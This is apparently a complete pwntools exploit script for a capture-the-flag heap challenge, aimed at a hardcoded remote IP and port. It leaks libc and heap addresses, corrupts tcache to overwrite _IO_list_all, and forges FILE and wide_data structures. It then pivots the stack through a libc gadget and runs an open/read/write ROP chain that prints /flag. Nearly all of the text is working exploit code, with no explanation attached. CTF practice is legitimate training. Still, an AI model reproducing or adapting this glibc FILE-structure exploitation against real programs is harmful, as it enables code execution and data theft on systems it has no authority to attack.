1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('47.98.236.4', 5002) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def add(index,size,content): rl("> ") sl('1') rl("Please enter yours Index: \n") sl(str(index)) rl("Please enter yours Size: \n") sl(str(size)) rl("Please enter yours Content: \n") s(content) def delete(index): rl("> ") sl('2') rl("Please enter yours Index: \n") sl(str(index)) def show(index): rl("> ") sl('4') rl("Please enter yours Index: \n") sl(str(index)) def edit(index,content): rl("> ") sl('3') rl("Please enter yours Index: \n") sl(str(index)) rl("Please enter yours Content: ") sl(content)
for i in range(9): add(i,0x80,'a') for i in range(8): delete(i) show(7) libc_leak = uu64() lg('libc_leak',libc_leak) libc_base = libc_leak - 0x1ecbe0 lg("libc_base",libc_base) free_hook = libc_base + libc.sym['_IO_list_all'] IO_list_all = libc_base + libc.symbols['_IO_list_all'] lg("IO_list_all",IO_list_all) IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] lg("IO_wfile_jumps",IO_wfile_jumps) open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] magic_gadget = libc_base + 0x154dd0 + 26 lg("magic_gadget",magic_gadget) stdout = libc_base + libc.sym['_IO_2_1_stdout_'] lg("stdout",stdout) ret = 0x0000000000022679 + libc_base pop_rsi = 0x000000000002601f + libc_base pop_rdx_r12 = 0x0000000000119211 + libc_base pop_rdi = 0x0000000000023b6a + libc_base leave_ret = 0x00000000000578c8 + libc_base pop_rbp = 0x00000000000226c0 + libc_base
for i in range(4): add(i+9,0x70,'a')
for i in range(4,-1,-1): delete(i+9)
show(9) heap_leak = uu32() lg('heap_leak',heap_leak) heap_base = heap_leak-0x980 lg('heap_base',heap_base)
''' <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] <svcudp_reply+34>: lea r13,[rbp+0x10] <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 <svcudp_reply+45>: mov rdi,r13 <svcudp_reply+48>: call QWORD PTR [rax+0x28] ''' orw1_addr = heap_base+0x1310 fake_file = p64(0)*3 + p64(1) fake_file += p64(0) + p64(leave_ret) + p64(heap_base+0xb10) + p64(heap_base+0xcb8) + p64(heap_base+0xb08) + p64(orw1_addr) fake_file = fake_file.ljust(0x68,b'\x00') fake_file += p64(stdout) fake_file = fake_file.ljust(0x70,b'\x00') fake_file = bytes(fake_file)
fake_file1 = p64(0)*2 + p64(heap_base+0x10d0) + p64(0)*6 fake_file1 += p64(IO_wfile_jumps) fake_file1 = fake_file1.ljust(0x70,b'\x00') fake_file1 = bytes(fake_file1)
edit(0,fake_file) edit(1,fake_file1)
wide_data = p64(0)*2 wide_data = wide_data.ljust(0x70,b'\x00') wide_data = bytes(wide_data) edit(2,wide_data)
wide_data1 = p64(0)*10 + p64(heap_base+0x1150) + p64(magic_gadget) wide_data1 = wide_data1.ljust(0x70,b'\x00') wide_data1 = bytes(wide_data1) edit(3,wide_data1)
edit(9,p64(IO_list_all)) add(13,0x70,'a') add(14,0x70,p64(heap_base+0xfb0))
orw1 = b'/flag\x00\x00\x00' orw1 += p64(pop_rdx_r12) + p64(heap_base+0x1720) + p64(heap_base+0xfb0) + p64(pop_rdi) + p64(heap_base+0x1310) + p64(pop_rsi) + p64(0) + p64(open) + p64(pop_rbp) + p64(heap_base+0x1398) + p64(leave_ret) edit(6,orw1)
orw2 = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x2000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read) orw2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x2000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
edit(7,orw2)
rl("> ") sl('1') rl("Please enter yours Index: \n") sl('15') rl("Please enter yours Size: \n") sl(str(0x100))
inter()
|